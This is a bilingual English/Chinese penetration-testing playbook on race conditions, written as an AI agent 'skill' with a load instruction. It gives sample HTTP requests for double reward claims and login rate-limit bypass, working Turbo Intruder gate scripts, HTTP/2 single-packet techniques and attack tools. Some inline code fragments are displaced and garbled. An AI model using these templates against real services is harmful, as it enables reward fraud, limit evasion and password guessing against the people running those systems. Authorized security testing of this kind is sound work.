race-condition
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Race Conditions — Testing & Exploitation Playbook
SKILL: 竞态条件 — 测试与利用手册
AI LOAD INSTRUCTION: Treat race conditions as authorization/state integrity issues: non-atomic read-then-write lets multiple requests observe stale state. Prioritize one-time or balance-like operations. Combine parallel transport (HTTP/1.1 last-byte sync, HTTP/2 single-packet, Turbo Intruder gates) with application evidence (duplicate success responses, inconsistent balances, duplicate ledger rows). Authorized testing only. 中文路由:与「业务流程 / 优惠券 / 库存 / 一次性奖励」相关时,先读本 skill,并交叉加载。business-logic-vulnerabilities
AI加载说明:将竞态条件视为授权/状态完整性问题:非原子性的读-改-写流程会让多个请求读取到过时的状态。优先测试一次性或类余额操作。结合并行传输(HTTP/1.1最后字节同步、HTTP/2单包、Turbo Intruder gate)与应用侧证据(重复成功响应、余额不一致、重复账本记录)。仅允许在授权范围内测试。 中文路由:与「业务流程 / 优惠券 / 库存 / 一次性奖励」相关时,先读本 skill,并交叉加载。business-logic-vulnerabilities
0. QUICK START — What to Test First
0. 快速入门 — 优先测试范围
Target endpoints where check and update are unlikely to be a single atomic database operation:
| Priority | Operation class | Example paths / parameters |
|---|---|---|
| 1 | One-time redeem / coupon / bonus | |
| 2 | Balance / quota / stock deduction | |
| 3 | Invite / referral / signup bonus | |
| 4 | Password / email / MFA verification | |
| 5 | Idempotent-looking APIs without strong keys | |
First moves (conceptual):
- Capture the state-changing request in a proxy.
- Send 20–100 copies as simultaneously as your tooling allows.
- Classify outcome: 0/1 expected successes vs N successes or inconsistent final state.
优先测试检查和更新不太可能是单原子数据库操作的端点:
| 优先级 | 操作类型 | 示例路径 / 参数 |
|---|---|---|
| 1 | 一次性兑换 / 优惠券 / 奖励 | |
| 2 | 余额 / 配额 / 库存扣减 | |
| 3 | 邀请 / 推荐 / 注册奖励 | |
| 4 | 密码 / 邮箱 / MFA验证 | |
| 5 | 无强密钥的看似幂等的API | 每个用户仅应成功执行一次的 |
初步操作思路:
- 在代理工具中捕获状态变更请求。
- 尽可能同时发送20–100份相同请求。
- 对结果分类:预期0/1次成功 vs N次成功或最终状态不一致。
1. CORE CONCEPT
1. 核心概念
1.1 TOCTOU (Time-of-check to time-of-use)
1.1 TOCTOU (Time-of-check to time-of-use)
Thread A Thread B
| |
+-- CHECK (resource OK) |
| +-- CHECK (resource OK) ← both see "OK"
+-- USE / UPDATE |
| +-- USE / UPDATE ← duplicate effectTOCTOU means the decision (check) and the mutation (use) are not one indivisible step.
Thread A Thread B
| |
+-- CHECK (resource OK) |
| +-- CHECK (resource OK) ← both see "OK"
+-- USE / UPDATE |
| +-- USE / UPDATE ← duplicate effectTOCTOU指的是**决策(检查)和变更(使用)**不是一个不可分割的步骤。
1.2 Non-atomic read-then-write
1.2 非原子性读-改-写
Typical vulnerable pseudo-flow:
text
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
UPDATE accounts SET balance = balance - ? WHERE id = ?Two concurrent requests can both pass the before either commits.
ifUPDATE典型的漏洞伪流程:
text
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
UPDATE accounts SET balance = balance - ? WHERE id = ?两个并发请求都可以在任意一个提交前通过判断。
UPDATEif1.3 Database-level vs application-level locking gaps
1.3 数据库级与应用级锁漏洞
| Layer | What goes wrong |
|---|---|
| Application | In-memory flag, cache, or session says "not used yet" while DB already updated — or the reverse. |
| ORM / service | Two instances, no distributed lock; each thinks it owns the decision. |
| DB | Missing |
| API gateway | Per-IP rate limit is check-then-increment — parallel burst passes duplicate checks. |
Hint: constraints and idempotency keys often eliminate entire bug classes — test whether the app enforces them on the hot path.
UNIQUE| 层级 | 常见问题 |
|---|---|
| 应用层 | 内存标记、缓存或会话显示「尚未使用」但数据库已更新,反之亦然。 |
| ORM / 服务层 | 多实例无分布式锁,每个实例都认为自己拥有决策权。 |
| 数据库层 | 缺少 |
| API网关层 | 单IP速率限制是先检查后递增逻辑,并行突发请求可以绕过重复检查。 |
提示:约束和幂等键通常可以消除整类漏洞——测试应用是否在热点路径上强制执行了这些规则。
UNIQUE2. ATTACK PATTERNS
2. 攻击模式
2.1 Limit-overrun (double redeem / double claim)
2.1 超限漏洞(重复兑换 / 重复领取)
Send the same authenticated request many times in parallel:
http
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json
{"reward_id":"welcome_bonus"}Success signal: HTTP / more than once, duplicate ledger entries, or balance higher than policy allows.
200201并行发送多次相同的已认证请求:
http
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json
{"reward_id":"welcome_bonus"}成功标识:HTTP /返回超过一次、重复的账本记录、余额超出规则允许的上限。
2002012.2 Rate-limit bypass via simultaneity
2.2 基于并发的速率限制绕过
If limits are implemented as counters checked per request without atomic increment:
http
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json
{"email":"victim@example.com","password":"wrong"}Fire N parallel attempts in one wave; compare with N sequential attempts.
Success signal: more failures accepted than documented cap, or lockout never triggers when burst completes inside one window.
如果速率限制实现为每个请求先检查计数器而非原子递增:
http
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json
{"email":"victim@example.com","password":"wrong"}一次性发送N个并行请求,与N个顺序请求的结果对比。
成功标识:接受的失败请求数超过文档规定的上限,或突发请求在一个窗口内完成时从未触发锁定。
2.3 Multi-step exploitation (beat the pipeline)
2.3 多步骤利用(突破流程管线)
Workflow: . If confirm does not cryptographically bind to pay completion:
create → pay → confirm- Start two parallel pipelines from the same session/item.
- Complete confirm on channel B while pay on channel A is still in-flight or abandoned.
Success signal: item marked paid/shipped without matching payment, or state skips backward.
工作流:。如果confirm步骤未与pay完成状态做密码学绑定:
create → pay → confirm- 同一会话/商品启动两个并行流程。
- 当通道A的pay还在处理中或已放弃时,在通道B完成confirm步骤。
成功标识:商品被标记为已支付/已发货但没有对应支付记录,或状态发生回退。
3. HTTP/1.1 LAST-BYTE SYNCHRONIZATION
3. HTTP/1.1 最后字节同步
Idea: Hold all requests blocked until every socket has sent the full request except the last byte of the body; then release the final byte together so the server receives them in a tight cluster.
text
Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+Why: Reduces network jitter between copies compared to naive sequential paste in Repeater.
Tooling: Custom scripts, some Burp extensions, or Turbo Intruder pattern (see §5) as the practical stand-in for synchronized release.
gate思路:将所有请求阻塞,直到每个套接字都发送了除请求体最后一个字节外的全部内容;然后同时释放最后一个字节,让服务器在极短时间内接收到所有请求。
text
Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+优势:与Repeater中简单顺序粘贴发送相比,减少了请求副本之间的网络抖动。
工具支持:自定义脚本、部分Burp扩展,或Turbo Intruder的模式(见第5节)可作为同步发送的实用替代方案。
gate4. HTTP/2 SINGLE-PACKET ATTACK
4. HTTP/2 单包攻击
Idea: Multiplex several complete HTTP/2 streams and coalesce their frames so the first bytes of all requests exit the NIC in one TCP segment (or minimally separated). Receiver-side scheduling then processes them with sub-millisecond spacing.
Burp Repeater (modern workflows):
- Open multiple tabs or select multiple requests.
- Use Send group (parallel) / single-packet attack where available.
- Prefer HTTP/2 to the target if supported.
text
[ Req A stream ]
[ Req B stream ] --HTTP/2--> one burst --> app worker pool
[ Req C stream ]Why it often beats HTTP/1.1 last-byte tricks: tighter alignment on the wire; less dependence on per-connection serialization.
思路:多路复用多个完整的HTTP/2流,将它们的帧合并,让所有请求的首字节在同一个TCP段(或间隔极小)中从网卡发出。接收端调度会以亚毫秒级间隔处理这些请求。
Burp Repeater(现代工作流):
- 打开多个标签页或选中多个请求。
- 可用时使用Send group (parallel) / single-packet attack功能。
- 如果目标支持,优先使用HTTP/2。
text
[ Req A stream ]
[ Req B stream ] --HTTP/2--> one burst --> app worker pool
[ Req C stream ]为何通常优于HTTP/1.1最后字节技巧:网络上的对齐更紧密,对单连接序列化的依赖更低。
5. TURBO INTRUDER TEMPLATES
5. TURBO INTRUDER 模板
Repository: PortSwigger/turbo-intruder (Burp Suite extension).
仓库:PortSwigger/turbo-intruder(Burp Suite扩展)。
5.1 Template 1 — Same endpoint, gate release
5.1 模板1 — 同端点,gate同步释放
Settings: , , use a gate so all threads fire together.
concurrentConnections=30requestsPerConnection=30Core pattern (repeat N times, then release):
python
for _ in range(N):
engine.queue(request, gate='race1')
engine.openGate('race1')python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)Header requirement (unique per queued copy for log correlation; Turbo Intruder payload placeholder):
http
x-request: %sTurbo Intruder replaces per request when paired with a wordlist (or other payload source) — keep this header on the base request in Repeater before sending to Turbo Intruder. Case-insensitive for HTTP; use a consistent name for log grep.
%s配置:, ,使用gate让所有线程同时发起请求。
concurrentConnections=30requestsPerConnection=30核心模式(重复N次入队,然后释放):
python
for _ in range(N):
engine.queue(request, gate='race1')
engine.openGate('race1')python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)头部要求(每个入队副本唯一,用于日志关联;Turbo Intruder payload占位符):
http
x-request: %sTurbo Intruder会在搭配字典(或其他payload源)时为每个请求替换——发送到Turbo Intruder前,请在Repeater的基础请求中保留这个头部。HTTP不区分大小写,使用统一的名称方便日志检索。
%s5.2 Template 2 — Multi-endpoint, same gate
5.2 模板2 — 多端点,同gate同步
Pattern: One POST to target-1 (state change) plus many GETs to target-2 (read side) released together to widen the TOCTOU window observation.
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
engine.queue(post_to_target1, gate='race1')
for _ in range(30):
engine.queue(get_target2, gate='race1')
engine.openGate('race1')Adjust hosts/paths by duplicating instances if endpoints differ (Turbo Intruder supports multiple engines — consult upstream docs for your Burp version).
RequestEngine模式:一个发往target-1的POST请求(状态变更)加上多个发往target-2的GET请求(读侧)同时释放,扩大TOCTOU窗口的观测范围。
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
engine.queue(post_to_target1, gate='race1')
for _ in range(30):
engine.queue(get_target2, gate='race1')
engine.openGate('race1')如果端点不同,可通过复制实例调整主机/路径(Turbo Intruder支持多引擎——请参考对应Burp版本的官方文档)。
RequestEngine6. CVE REFERENCE — CVE-2022-4037
6. CVE参考 — CVE-2022-4037
CVE-2022-4037 (GitLab CE/EE): race condition leading to verified email address forgery and risk when the product acts as an OAuth identity provider — third-party account linkage/impact scenarios. CWE-362. Demonstrated in public research with HTTP/2 single-packet style timing to win narrow windows.
Takeaway for testers: email verification, OAuth linking, and "confirm ownership" flows are high-value race targets — not only coupons and balances.
References (official / neutral):
- NVD — CVE-2022-4037
- GitLab security advisories and vendor CVE JSON for affected version ranges
CVE-2022-4037(GitLab CE/EE):竞态条件导致已验证邮箱地址伪造,当产品作为OAuth身份提供商时存在风险——会影响第三方账号关联场景。CWE-362。公开研究中演示了使用HTTP/2单包时序技巧突破窄窗口的案例。
测试人员要点:邮箱验证、OAuth关联和「确认所有权」流程都是高价值竞态目标——不止是优惠券和余额。
参考资料(官方/中立):
- NVD — CVE-2022-4037
- GitLab安全公告和厂商CVE JSON中的受影响版本范围
7. TOOLS
7. 工具
| Tool | Role |
|---|---|
| PortSwigger/turbo-intruder | High-concurrency replay, gates, scripting in Burp. |
| JavanXD/Raceocat | Race-focused HTTP client patterns (verify compatibility with your stack). |
| nxenon/h2spacex | HTTP/2 low-level / single-packet style experimentation (use responsibly, authorized targets only). |
| Burp Suite — Repeater | Send group (parallel) / single-packet attack for multi-request synchronization. |
| 工具 | 作用 |
|---|---|
| PortSwigger/turbo-intruder | 高并发重放、gates机制、Burp内脚本支持。 |
| JavanXD/Raceocat | 专注竞态场景的HTTP客户端模式(请验证与你的技术栈的兼容性)。 |
| nxenon/h2spacex | HTTP/2底层/单包风格实验工具(请负责任使用,仅针对授权目标)。 |
| Burp Suite — Repeater | Send group (parallel) / single-packet attack功能用于多请求同步。 |
8. DECISION TREE
8. 决策树
text
START: state-changing API?
|
NO -----------+---------- YES
| |
stop here one-time / balance / verify?
|
+-------------------------+-------------------------+
| | |
coupon-like rate limit multi-step
| | |
parallel same req parallel vs serial parallel pipelines
| | |
duplicate success? limit exceeded? state mismatch?
/ \ / \ / \
YES NO YES NO YES NO
| | | | | |
report + try HTTP/2 report + try TI report + deepen
evidence single-packet evidence gates per-step
| | | | | |
+----+----+ +----+----+ +----+----+
| | |
tool pick tool pick tool pick
v v v
Burp group / h2spacex TI gates / Raceocat TI + trace IDsHow to confirm (evidence checklist):
- Reproducible duplicate success under parallelism, not flaky single retries.
- Server-side artifact: two rows, two emails, two grants, or wrong final balance.
- Correlate with (or similar) markers or unique body fields in logs (authorized environments).
x-request
中文路由小结:若场景更偏「业务规则 / 定价 / 工作流跳过」,加载 ;本文件专注 并发与传输层同步。
skills/business-logic-vulnerabilities/SKILL.mdtext
START: state-changing API?
|
NO -----------+---------- YES
| |
stop here one-time / balance / verify?
|
+-------------------------+-------------------------+
| | |
coupon-like rate limit multi-step
| | |
parallel same req parallel vs serial parallel pipelines
| | |
duplicate success? limit exceeded? state mismatch?
/ \ / \ / \
YES NO YES NO YES NO
| | | | | |
report + try HTTP/2 report + try TI report + deepen
evidence single-packet evidence gates per-step
| | | | | |
+----+----+ +----+----+ +----+----+
| | |
tool pick tool pick tool pick
v v v
Burp group / h2spacex TI gates / Raceocat TI + trace IDs确认方法(证据清单):
- 并行场景下可复现的重复成功,不是不稳定的单次重试导致。
- 服务端留存的痕迹:两条记录、两封邮件、两次授权、或错误的最终余额。
- (授权环境下)与日志中的(或类似)标记或请求体中的唯一字段关联验证。
x-request
中文路由小结:若场景更偏「业务规则 / 定价 / 工作流跳过」,加载 ;本文件专注 并发与传输层同步。
skills/business-logic-vulnerabilities/SKILL.mdRelated
相关内容
- business-logic-vulnerabilities — workflow, coupon abuse, and logic-first checklists ().
../business-logic-vulnerabilities/SKILL.md
- business-logic-vulnerabilities — 工作流、优惠券滥用和逻辑优先检查清单 ()。
../business-logic-vulnerabilities/SKILL.md